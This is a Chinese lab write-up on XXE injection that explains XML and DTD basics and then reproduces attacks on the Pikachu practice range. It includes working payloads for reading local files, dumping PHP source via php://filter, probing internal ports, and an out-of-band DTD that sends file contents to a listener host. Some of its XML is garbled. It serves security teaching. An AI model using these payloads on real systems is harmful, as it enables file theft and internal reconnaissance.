Pikachu–XXE漏洞
一、XML基础概念
XML文档结构由XML声明,DTD(文档类型定义),文档元素三部分构成!
#XML是可扩展标记语言(Extensible Markup Language),是设计用来进行数据的传输与存储。
#eg:
<!--XML声明--><!--指明XML文档的版本号与编码,可有可无-->
<?xml version="1.0"encoding="UTF-8"?>
<!--DTD文档类型定义--><!--必须存在根元素,标签名必须成对出现,且区分大小写,可自定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note(to,from,head,body)> <!--定义note元素有四个元素-->
<!--定义to元素为"#PCDATA”类型--><!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head(#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note><!--XML注释-->
》》》XML特性《《《
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 是不作为的
XML 仅仅是纯文本
XML 可以发明自己的标签
1.XML声明
<!--XML声明--><!--指明XML文档的版本号与编码,可有可无-->
<?xml version="1.0"encoding="UTF-8"?><!--XML注释语法-->
2.DTD
2.1 内部DTD
内部DTD声明格式:
<!D0CTYPE root-element [element-declarations]>
* root-element文档类型(根元素)
* [element-declarations]其余的元素都包含在[]中
内部DTD指的是直接在XML文档中声明元素,这时需要在XML的头部声明中添加属性 standalone并将该属性的值设置为"yes"。以下为内部DTD案例:
<?xml version="1.0" encoding="utf-8"standalone="yes" ?>
<!DOCTYPE person [
<!ELEMENT person(name,age,address,country,major)>
<!ELEMENT name (#PCDATA)><!--<!ELEMENT 元素标签-->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ELEMENT country (#PCDATA)>
<!ELEMENT major (#PCDATA)>
]>
<person>
<name>Bob</name>
<age>24</age>
<address>1-1-110</address>
<country>China</country>
<major>History</major>
</person>
其中<!ELEMENT person(name,age,address,country,major)>定义了person根节点下面存在name、age等属性。而<!ELEMENT name (#PCDATA)>则定义了name属性的类型是(#PCDATA)。
2.2 外部DTD
外部DTD元素定义在XML文档之外,可以是合法的.dtd文件,也可以是有效的URL。如果要引用外部DTD,那么在XML的头部声明中,需要设置standalone属性为"no"即:standalone=“no”这一点和 css,javascript 很像!
<!ENTITY element SYSTEM "xxx.dtd |http://...
eg:
<!ENTITY element1 SYSTEM "filename.dtd"><!ENTITY element2 SYSTEM "http://www.exp.com/exp.dtd">
#引用外部DTD的格式
<!NENTITY 实体名称 SYSTEM/PUBLIC“外部DTD的资源地址">
使用案例:
test.dtd
<!ELEMENT to(#PCDATA)><!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA”类型-->
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "test.dtd">
<note>
<to>H</to>
<from>E</from>
<head>L</head>
<body>L0</body>
</note>
2.3 实体
实体是对数据的引用,通常使用 <!ENTITY> 标签定义;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,它主要分为以下四类:
内置实体(Built-in entities)
字符实体(Character entities)
通用实体(General entities)
参数实体(Parameter entities)
实体的定义
#实体定义在 DTD声明中<?xml version="1.0"?><!DOCTYPE SSS [
<!ELEMENT SSS ANY><!ENTITY xxe“hello"> <!--<!ENTITY 实体名称 实体值>-->
#实体的应用在文档元素中
<SSS>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
这里定义元素为 ANY 表示可以接受任何元素作为标签,其中“xxe”就是实体了(相当于一个变量),可以在XML文档元素中使用 & 符号对实体进行引用。到时候输出的时候 &xxe;就会被 helLo 替换。
实体类型
实体又分为通用实体和参数实体。
1.通用实体
·用 &实体名;引用,在DTD 中定义(内外DTD都行),在XML文档元素中引用。
2.参数实体
使用 % 实体名:(中间有空格)在DTD中定义(内外DTD都行),并且只能在DTD中使用 %实体名;引用。
在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)
根据实体位置定义位置的不同分为 内部实体 和 外部实体,
其中:内部实体:在DTD中声明实体,则称为内部实体。外部实体:如果在DTD之外声明实体,则称为外部实体。
内部实体
<!--xml声明--><?xml version="1.0" encoding="utf-8" ?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note(#PCDATA)><!ELEMENT to "XXE"><!ELEMENT from "LEARING''>
<!ELEMENT heading "hello'>
<!ELEMENT body "my_friend">
]>
一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)--><I--<note>
<!-- &to;会被解析为"XXE”-->
&to;
&from;
<!-- &from;会被解析为"LEARING”-->
&heading;<!-- &heading;会被解析为"hello”-->
&body;
</note>
外部实体
<!ENTITY name SYSTEM "URI/URL">
* name实体的名称
SYSTEM关键字米
*URI/URL是双引号或单引号中包含的外部源的地址eg :
<!ENTITY writer SYSTEM"<http://vuln.4pts.online/note.dtd>">使用的方式与上述内部实体例子相同,只不过当前是从外部引入,可以是一个URL链接中的文件,也可以是本地的文件(这也就造成了安全的风险)
实例
<!--test.dtd -->
<!DOCTYPE a[
<!ENTITY % name SYSTEM "file:///D:/test.dtd">&name;
]><!--1.xml -->
<!ENTITY 名实体名称 SYSTEM“URI'>
补充:
#PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。3可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本,PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、<或者 >字符;需要使用 &、<以及 >实体来分别替换它们;
L
6
#CDATA
CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开;
3.文档元素
xml属性
XML支持在标签元素中定义属性,写法类似于HTML,eg<name len="3">Bob</name>
转义字符
CDATA区域
XML规定,对CDATA区域内的所有特殊字符不进行解析。<![CDATA[【CDATA区域内容】]]>
二、攻击原理
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害
三、漏洞复现
使用的Pikachu靶场
1.测试
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "as" > ]>
<foo>&xxe;</foo>
2.查看文件:c:windows/win.ini里面的内容
<?xml version="1.0"?>
![<!DOCTYPE foo \[
<!ENTITY xxe SYSTEM "file:///c:windows/win.ini"> \]>
<foo>&xxe;</foo>
```](https://i-blog.csdnimg.cn/direct/150c11feb9434a329a14cdc9e92938ac.png)### 3.查看源码利用php://协议的filter过滤器以base64编码读取服务器/本地文件```bash
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/Users/1/Desktop/phpinfo.php">
]>
<foo>&xxe;</foo>
然后解码(随便找一个在线编码工具解码即可)
4.DTD外部调用
先写一个外部DTD文件
<!--evil.dtd -->
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini">
通过参数实体去引用evil.dtd,然后调用%xxe;
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1:80/sis2406_php/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>
探测内网存活主机与开放端口
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8081">
]>
<x>&rabbit;</x>
访问不存在的端口页面响应缓慢,访问存在的端口页面响应正常
6.无回显探测
#evil.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.30.128:8888/?
'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/sis2406_php/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt">
%remote;
%send;
]>
在c盘放入result.txt,里面写要传入的参数。
开启端口探测
实例:
在这个网站下水边输入点数据能看见回显点
抓包后去查看文件flag内容,flag在c盘下面,然后再username里写实体内容回显值